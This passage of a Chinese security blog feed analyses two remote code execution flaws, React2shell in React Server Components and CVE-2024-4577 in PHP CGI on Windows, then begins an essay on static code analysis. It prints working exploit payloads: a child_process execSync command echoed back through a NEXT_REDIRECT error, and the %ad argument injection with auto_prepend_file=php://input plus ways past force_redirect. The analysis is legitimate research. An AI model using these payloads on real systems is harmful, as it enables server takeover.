class="number">5</span>、回到第一次getOutlinedModel中，Chunk0的value最终为Chunk0.__proto__.then</span><br><span class="line"><span class="number">6</span>、回到最上层触发then，此时处理内容为<span class="string">"&#123;\"then\":\"$B1337\"&#125;"</span></span><br><span class="line"><span class="number">7</span>、检测到$B，此时</span><br><span class="line">    prefix为<span class="string">"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),&#123;digest: `NEXT_REDIRECT;push;/login?a=$&#123;res&#125;;307;`&#125;);"</span></span><br><span class="line">    id为<span class="number">1337</span></span><br><span class="line">    最终拼接获得prefix + id</span><br><span class="line"><span class="number">8</span>、触发_formData.get，参数为prefix + id</span><br><span class="line"><span class="number">9</span>、<span class="keyword">get</span>对应的value是"$1:<span class="keyword">constructor</span>:<span class="keyword">constructor</span>"，$1对应getChunk1，也就是前面的Chunk0实例</span><br><span class="line">10、由于Chunk本身也是一个Function，所以他的<span class="keyword">constructor</span>.<span class="keyword">constructor</span>也是Function</span><br><span class="line">11、等于此时触发Function(prefix + id)，触发代码执行</span><br></pre></td></tr></table></figure><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827124.png" alt=""></p><p>这里也稍微看下exp的构造，其实主要是为了回显，exp如下</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> res=process.mainModule.require(<span class="string">'child_process'</span>).execSync(<span class="string">'whoami.exe'</span>).toString().trim();</span><br><span class="line"><span class="keyword">throw</span> <span class="built_in">Object</span>.assign(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'NEXT_REDIRECT'</span>),&#123;<span class="attr">digest</span>: <span class="string">`NEXT_REDIRECT;push;/login?a=<span class="subst">$&#123;res&#125;</span>;307;`</span>&#125;);</span><br></pre></td></tr></table></figure><p>按照前面的利用链来说，如果我们直接使用childprocess执行命令，那么命令会执行，但Flight的后续逻辑会走不下去，程序就卡住了。</p><p>那我们就需要手动抛出一个错误来终止程序，而React相关的代码逻辑中，如果digest有内容，他就会返回到页面内，也就是说我们可以通过手动抛出错误并控制digest内容来获取命令执行的返回。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828634.png" alt=""></p><p>到这里利用闭环，不但可以实现命令执行，还可以获得回显。</p><h1 id="关于补丁"><a href="#关于补丁" class="headerlink" title="关于补丁"></a>关于补丁</h1><ul><li><a href="https://github.com/facebook/react/pull/35277" target="_blank" rel="noopener">https://github.com/facebook/react/pull/35277</a></li></ul><p>React关于漏洞的补丁很搞笑的是和其他的业务更新合并到了一起，这一点在github上有很多人吐槽，这也导致补丁内容非常乱，实际的漏洞修复在ReactFlightReplyServer.js的部分改动中。</p><p>主要的修复有这么几处</p><p>首先是声明了一个特殊的类型为Symbol的常量RESPONSE_SYMBOL作为response的key</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828205.png" alt=""></p><p>后续所有关于response的引用都修改成了通过RESPONSE_SYMBOL来引用，而json_parse无法实现Symbol类型，也就无法影响reponse的内容。</p><p>还有一个是hasOwnProperty的检查，补丁中在包括getOutlinedModel在内的value处理中加入了hasOwnProperty，这样你就无法去获取原型链中未定义的属性。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828040.png" alt=""></p><p>其实还有一些别的改动影响到了原利用链，但就像前面说的补丁内容牵扯到的更新太多，补丁非常乱就不细扣了。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>作为2025年的收官漏洞，同时也是4年一次难得一见的通用组件通杀漏洞，能见证并分析这种漏洞有很多感受，感叹漏洞的影响力，感叹利用链的精巧，感叹漏洞公开者的魄力。</p><p>时间走到2026年，这些年探索的更多都是安全+，很少有能深入探究漏洞本身的时候，也希望面对充满未知的2026，能保留安全研究的初心。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2025年12月3日，时隔4年，安全圈又一个通杀环境的核弹漏洞被公开，CVSS评分10.0，影响范围React 19+全版本，Next.js 15/16，无条件默认环境RCE漏洞，史称React2shell。&lt;/p&gt;
&lt;p&gt;该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，在3号被公开&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最早的版本大家讨论的结论是，只有使用rsc作为后端的环境才会受到漏洞的利用，主要原因还是受到了最早版本poc的影响，也就是ejpir专门构造的漏洞环境和poc。&lt;/p&gt;
&lt;p&gt;但是很快maple3142在12月5日发布了真正的poc&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在更快的时间内，next.js默认环境全版本通杀直接影响了以dify为代表的许多平台，一下子引爆了漏洞的影响范围，漏洞正式进入2阶段，大范围利用以及企业内部自查阶段。&lt;/p&gt;</summary>
    
    
    
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
    <category term="react2shell" scheme="https://lorexxar.cn/tags/react2shell/"/>
    
  </entry>
  
  <entry>
    <title>PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）分析与复现</title>
    <link href="https://lorexxar.cn/2024/06/11/phpcgi-rce/"/>
    <id>https://lorexxar.cn/2024/06/11/phpcgi-rce/</id>
    <published>2024-06-11T01:52:10.000Z</published>
    <updated>2024-06-11T02:02:35.000Z</updated>
    
    <content type="html"><![CDATA[<p>在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《<strong>Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</strong>》</p><ul><li><a href="https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227" target="_blank" rel="noopener">https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227</a></li></ul><p>伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于<strong>windows特殊场景下的PHP CGI远程代码执行漏洞</strong></p><ul><li><a href="https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/" target="_blank" rel="noopener">https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/</a></li></ul><p>接下来看看漏洞的详情</p><a id="more"></a><h1 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h1><p><strong>CVE-2024-4577</strong>导致漏洞产生的本质其实是<a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8" target="_blank" rel="noopener">Windows系统内字符编码转换的Best-Fit特性</a>导致的，相对来说<strong>PHP</strong>在这个漏洞里更像是一个受害者。</p><p>由于Windows系统内字符编码转换的Best-Fit特性导致<strong>PHP原本的安全限制被绕过</strong>，再加上一些<strong>特殊的PHP CGI环境</strong>配置导致了这个问题，最终导致漏洞利用的算是一些PHP的小技巧。</p><h2 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h2><p>这个漏洞理论上影响PHP的所有版本</p><ul><li>PHP 8.3 &lt; 8.3.8</li><li>PHP 8.2 &lt; 8.2.20</li><li>PHP 8.1 &lt; 8.1.29</li></ul><p>除此之外的其他PHP版本官方已经不再维护了，包括PHP8.0、PHP7、PHP5在内，但是<strong>理论上来说他们都受到这个影响。</strong></p><h2 id="漏洞利用条件"><a href="#漏洞利用条件" class="headerlink" title="漏洞利用条件"></a>漏洞利用条件</h2><h3 id="Windows系统内字符编码转换的Best-Fit特性"><a href="#Windows系统内字符编码转换的Best-Fit特性" class="headerlink" title="Windows系统内字符编码转换的Best-Fit特性"></a>Windows系统内字符编码转换的Best-Fit特性</h3><p>前面提到过，这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性，所以第一个前提条件就是</p><ul><li>必须是<strong>Window环境</strong></li></ul><p>其次由于这个特性，windows必须使用以下其中之一的语言系统</p><ul><li><strong>繁体中文</strong> (字码页 950)</li><li><strong>简体中文</strong> (字码页 936)</li><li><strong>日文</strong> (字码页 932)</li></ul><p>而且除了这3个以外，其他的语言也不能完全排除影响，凡是存在该特性的的系统都受到影响。</p><p><strong>那什么是Best-Fit呢？或者说，为什么是Best-Fit？</strong></p><p>说白了其实就是windows对于不同编码字符集之间转化的一个特性，可能大家对于Best-Fit很陌生，如果换一个词叫做宽字节，我想大家就会很熟悉了，说白了就是<strong>一些特殊字符在特殊字符集下转化就会转成一个正常的字符</strong></p><p>而这里用到的就是%ad</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957711.png" alt="img"></p><p>而这个正常的字符就是<code>-</code>，我们可以结合php的源码来看，为什么这个<code>-</code>很重要</p><p><a href="https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798" target="_blank" rel="noopener">https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957598.png" alt="img"></p><p>在php的代码当中其实原本就过滤了-这个符号，在新的commit当中还加入了<strong>对0x80以上的所有字符的限制来修复</strong>这个问题。在代码的注释当中有这么一段话来解释这个问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Something is wrong with the XAMPP installation :-(</span><br><span class="line">Apache CGI will pass the query string to the command line if it doesn&#39;t contain a &#39;&#x3D;&#39;.</span><br><span class="line">This can create an issue where a malicious request can pass command line arguments to</span><br><span class="line">the executable. Ideally we skip argument parsing when we&#39;re in cgi or fastcgi mode,</span><br><span class="line">but that breaks PHP scripts on Linux with a hashbang: &#96;#!&#x2F;php-cgi -d option&#x3D;value&#96;.</span><br><span class="line">Therefore, this code only prevents passing arguments if the query string starts with a &#39;-&#39;.</span><br><span class="line">Similarly, scripts spawned in subprocesses on Windows may have the same issue.</span><br></pre></td></tr></table></figure><p>如果get发送的请求字符串中不包含”=”，那么<strong>Apache就会把请求传到命令行作为cgi的参数</strong>。但这会导致恶意请求就可以将命令行参数传递给php，如果直接处理传参，那么会影响到以独立脚本方式运行的PHP脚本。所以只有<strong>当开头是-的时候(跳过所有空白符号)才阻止传递参数</strong>。</p><p>而这个漏洞在2012年的时候就被曝光出来，就是CVE-2012-1823</p><p><a href="https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html</a></p><p>当我们用%ad来代替-之后，参数传递没有被阻止，就构成了<strong>参数注入</strong>。</p><p>而PHP和Apache的环境就会更特殊一点儿，其实在2024年你很难找到类似的环境，但是很有趣的是，<strong>XAMPP For Windows的默认环境就受到这个漏洞的影响。</strong></p><p>而相对更具体的受影响的场景有两个</p><h3 id="以CGI模式运行的PHP环境"><a href="#以CGI模式运行的PHP环境" class="headerlink" title="以CGI模式运行的PHP环境"></a>以CGI模式运行的PHP环境</h3><p>首先不得不说，这是一个非常非常少见的场景，在2024年你几乎没办法找到一个<strong>直接以CGI模式运行的PHP环境</strong>，而且也没人会去做这样的修改。</p><p>如果你想要改出类似的设定你需要加入以下的配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">AddHandler cgi-script .php</span><br><span class="line">Action cgi-script &quot;&#x2F;cgi-bin&#x2F;php-cgi.exe&quot;</span><br></pre></td></tr></table></figure><p>或者类似于</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;FilesMatch &quot;\.php$&quot;&gt;</span><br><span class="line">    SetHandler application&#x2F;x-httpd-php-cgi</span><br><span class="line">&lt;&#x2F;FilesMatch&gt;</span><br><span class="line"></span><br><span class="line">Action application&#x2F;x-httpd-php-cgi &quot;&#x2F;php-cgi&#x2F;php-cgi.exe&quot;</span><br></pre></td></tr></table></figure><p>在XMAPP的默认配置当中，这部分代码也是被注释的，如果你想要测试这种利用<strong>需要在httpd-xampp.conf中注释解开下面这段代码</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#</span><br><span class="line"># PHP-CGI setup</span><br><span class="line">#</span><br><span class="line">&lt;FilesMatch &quot;\.php$&quot;&gt;</span><br><span class="line">    SetHandler application&#x2F;x-httpd-php-cgi</span><br><span class="line">&lt;&#x2F;FilesMatch&gt;</span><br><span class="line">&lt;IfModule actions_module&gt;</span><br><span class="line">    Action application&#x2F;x-httpd-php-cgi &quot;&#x2F;php-cgi&#x2F;php-cgi.exe&quot;</span><br><span class="line">&lt;&#x2F;IfModule&gt;</span><br></pre></td></tr></table></figure><p>上面这些配置处理的都是一个类似的场景，就是apache会<strong>把请求直接转发给php-cgi</strong>。</p><p>结合上面的特性，你可以通过传%ad来传入一个<code>-</code>，这样在-之后的部分就会成为<strong>php-cgi的参数</strong>，构成<strong>参数注入</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957918.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%add+allow_url_include%3don+%add+auto_prepend_file%3dphp:&#x2F;&#x2F;input</span><br></pre></td></tr></table></figure><p>会变成</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-d allow_url_include&#x3D;on -d auto_prepend_file&#x3D;php:&#x2F;&#x2F;input</span><br></pre></td></tr></table></figure><p>构成参数注入导致<strong>最终的任意代码执行</strong>。</p><h3 id="将PHP的执行程序暴露在外-XAMPP默认配置"><a href="#将PHP的执行程序暴露在外-XAMPP默认配置" class="headerlink" title="将PHP的执行程序暴露在外 - XAMPP默认配置"></a>将PHP的执行程序暴露在外 - XAMPP默认配置</h3><p>这个场景要特别一些，相比直接把PHP的二进制直接放在web目录下，可能更常见的还是x<strong>ampp的默认配置。</strong></p><p>在httpd-xampp.conf中就可以找到这一串代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">ScriptAlias &#x2F;php-cgi&#x2F; &quot;D:&#x2F;xampp&#x2F;php&#x2F;&quot;</span><br><span class="line">&lt;Directory &quot;D:&#x2F;xampp&#x2F;php&quot;&gt;</span><br><span class="line">    AllowOverride None</span><br><span class="line">    Options None</span><br><span class="line">    Require all denied</span><br><span class="line">    &lt;Files &quot;php-cgi.exe&quot;&gt;</span><br><span class="line">          Require all granted</span><br><span class="line">    &lt;&#x2F;Files&gt;</span><br><span class="line">&lt;&#x2F;Directory&gt;</span><br></pre></td></tr></table></figure><p>上面的配置是什么意思呢？</p><p>其实就是访问<code>/php-cgi/</code>路径的时候，会映射<code>D:/xampp/php/</code>下的文件，而这个目录下正好是php的整个目录</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957534.png" alt="img"></p><p>但这又有什么用呢，毕竟都denied了，<strong>只有php-cgi.exe是granted的</strong>，我们把视角还是回到php-cgi上。</p><p>如果我们直接访问调用php-cgi.exe，会怎么样呢？</p><p>答案是会有<strong>安全警告</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957728.png" alt="img"></p><p>那我们顺着这个思路去看下代码</p><p><a href="https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912" target="_blank" rel="noopener">https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957709.png" alt="img"></p><p>我们会发现我们遇到了一个新的概念叫做<strong>force_redirect</strong>，这其实算是<strong>PHP的一个自我保护机制</strong>。在P牛的知识星球里就有提过这个问题。</p><p><a href="https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282" target="_blank" rel="noopener">https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282</a></p><p>说白了就是，PHP增加了一个配置叫做<strong>cgi.force_redirect=1</strong>，<strong>开启了这个选项（默认开启）</strong>之后，只有经过重定向的规则请求才能执行，不能直接调用执行。那有什么办法绕过呢？</p><p>其实如果顺着逻辑到这里，就已经很清晰了，第一个办法也就是最直接的办法就是，既然前面已经实现了-d修改配置，那么你就正好-d再把cgi.force_redirect修改成0就行了，非常直白。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957913.png" alt="img"></p><p>而第二个办法相对来说比较少见，我们继续回到源码当中可以发现，除了force_redirect的分支以外，其实如果能确保<code>REDIRECT_STATUS</code>或者<code>HTTP_REDIRECT_STATUS</code>存在值，也可以不进入到这个分支里。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406111000460.png" alt="image-20240611095958631"></p><p>当然一般来说这种变量是不可控的，但是HTTP开头的变量一般来自于请求的头，那么我们就可以在请求头中加入<code>Redirect-status: 1</code>来设置这个变量，同样可以绕过</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《&lt;strong&gt;Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!&lt;/strong&gt;》&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于&lt;strong&gt;windows特殊场景下的PHP CGI远程代码执行漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来看看漏洞的详情&lt;/p&gt;</summary>
    
    
    
    
    <category term="php" scheme="https://lorexxar.cn/tags/php/"/>
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
  </entry>
  
  <entry>
    <title>人与代码的桥梁-聊聊SAST</title>
    <link href="https://lorexxar.cn/2023/12/18/sast2024/"/>
    <id>https://lorexxar.cn/2023/12/18/sast2024/</id>
    <published>2023-12-18T09:30:42.000Z</published>
    <updated>2023-12-18T09:34:11.000Z</updated>
    
    <content type="html"><![CDATA[<p>自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了<strong>现代伟大的科技时代。</strong></p><p>在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中<strong>自动化代码审计</strong>就是<strong>安全自动化</strong>绕不过去的坎。</p><p>而SAST作为<strong>自动化代码分析</strong>的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。</p><p>本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以<strong>重写了这部分内容</strong>，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。</p><a id="more"></a><h1 id="静态代码分析工具"><a href="#静态代码分析工具" class="headerlink" title="静态代码分析工具"></a>静态代码分析工具</h1><p><strong>静态代码分析</strong>主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug.</p><p>再过去的十几年里，<strong>静态代码分析工具</strong>经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的<strong>每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后</strong>）：</p><h2 id="上古时期-关键字匹配"><a href="#上古时期-关键字匹配" class="headerlink" title="上古时期 - 关键字匹配"></a>上古时期 - 关键字匹配</h2><p>如果我问你<strong>“如果让你设计一个自动化代码审计工具，你会怎么设计？”</strong>，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到<strong>通过关键字匹配的问题</strong>。</p><p>这里我们拿PHP做个简单的例子。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/h9ynqnq6h648slrjb2rtw3a2/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181731567.png" alt="img"></a></p><p>虽然我们<strong>匹配到了这个简单的漏洞</strong>，但是很快发现，事情并没有那么简单。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/zkbjd0mt3rme150nk558laai/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732260.png" alt="img"></a></p><p>也许你说你可以通过<strong>简单的关键字</strong>重新匹配到这个问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\(\$</span><br></pre></td></tr></table></figure><p>但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：</p><ul><li><strong>高覆盖性 – 宁错杀不放过</strong></li></ul><p>这类工具最经典的就是Seay，通过<strong>简单的关键字来匹配经可能多的目标</strong>，之后使用者可以通过人工审计的方式进一步确认。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\b\(</span><br></pre></td></tr></table></figure><ul><li><strong>高可用性 – 宁放过不错杀</strong></li></ul><p>这类工具最经典的是<strong>Rips免费版</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\b\(\$_(GET|POST)</span><br></pre></td></tr></table></figure><p>用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。</p><p>但问题显而易见，<strong>高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下</strong>。所以被时代所淘汰也是历史的必然。</p><h2 id="近代时期-基于AST的代码分析"><a href="#近代时期-基于AST的代码分析" class="headerlink" title="近代时期 - 基于AST的代码分析"></a>近代时期 - 基于AST的代码分析</h2><p>有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么<strong>基于AST的代码分析</strong>方式就诞生了，<strong>开发人员是不同的，但编译器是相同的。</strong></p><p>在分享这种原理之前，我们首先可以复习一下<strong>编译原理</strong>。拿PHP代码举例子：</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/gxlprb3kug04kyhoca1kqqyk/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732203.png" alt="img"></a></p><p>随着PHP7的诞生，AST也作为<strong>PHP解释执行的中间层</strong>出现在了编译过程的一环。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/myl2o2sy6f2cbkkqutnvdqw6/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732521.png" alt="img"></a></p><p>通过<strong>词法分析和语法分析</strong>，我们可以<strong>将任意一份代码转化为AST语法树</strong>。<strong>PHP常见的语义分析库</strong>可以参考：</p><ul><li><a href="https://github.com/nikic/PHP-Parser" target="_blank" rel="noopener">https://github.com/nikic/PHP-Parser</a></li><li><a href="https://github.com/viraptor/phply" target="_blank" rel="noopener">https://github.com/viraptor/phply</a></li></ul><p>当我们得到了一份AST语法树之后，我们就解决了前面提到的<strong>关键字匹配最大的问题</strong>，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。</p><p>在理解如何分析AST语法树之前，我们首先要明白<strong>infomation flow、source、sink</strong>三个概念，</p><ul><li><strong>source：</strong> 我们可以简单的称之为输入，也就是infomation flow的起点</li><li><strong>sink：</strong> 我们可以称之为输出，也就是infomation flow的终点</li><li><strong>infomation flow</strong>，则是指数据流动的过程。</li></ul><p>把这个概念放在<strong>PHP代码审计</strong>过程中，<strong>Source就是指用户可控的输入</strong>，比如$_GET、$_POST等，而<strong>Sink就是指我们要找到的敏感函数</strong>，比如echo、eval，如果<strong>某一个Source到Sink存在一个完整的流</strong>，那么我们就可以认为存在一个可控的漏洞，这也就是<strong>基于infomation flow的代码审计原理</strong>。</p><p>在明白了基础原理的基础上，我举几个简单的例子：</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/s3zv846dojonbqqeinxmj2i6/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732044.png" alt="img"></a></p><p>在上面的分析过程中，<strong>Sink就是eval函数，Source就是$_GET</strong>，通过<strong>回溯Sink的来源</strong>，我们成功找到了<strong>一条流向Source的infomation flow</strong>，也就成功发现了这个漏洞。</p><p>在分析infomation flow的过程中，<strong>明确作用域是基础中的基础.</strong>这也是分析infomation flow的关键，我们可以一起看看一段简单的代码</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/mtw0qxwezl6aint6apcu8qmp/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732854.png" alt="img"></a></p><p>如果我们<strong>很简单的跟踪赋值关系去回溯</strong>，而<strong>没有考虑到函数定义</strong>的话，我们很容易将流定义为：<br><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/jriu86cbyww44k7ioktat8kn/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732874.png" alt="img"></a></p><p>这样我们就<strong>错误的把这段代码定义成了存在漏洞</strong>，但很显然并不是，而<strong>正确的分析流程</strong>应该是这样的:<br><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/f7yjojkps705lo3wf1nkmeel/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732375.png" alt="img"></a></p><p>在这段代码中，从<strong>主语法树的作用域</strong>跟到<strong>Get函数的作用域</strong>，如何<strong>维持作用域的变动</strong>，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的<strong>使用递归来控制作用域</strong>时，在<strong>多层递归中的统一标准</strong>也就成了分析的基础核心问题。</p><p>事实上，即便你做好了这个<strong>最简单的基础核心问题</strong>，你也会遇到层出不穷的问题。这里我举两个简单的例子</p><p><strong>(1) 新函数封装</strong></p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/lb1o8e97y2cdtbvqx4zuwtke/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732328.png" alt="img"></a></p><p>这是一段很经典的代码，<strong>敏感函数被封装成了新的敏感函数</strong>，参数是被<strong>二次传递</strong>的。为了解决，这样infomation flow的方向从<strong>逆向-&gt;正向</strong>的问题。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/5lwpn1hfu67ocl3jz7h6p3f4/image.png" 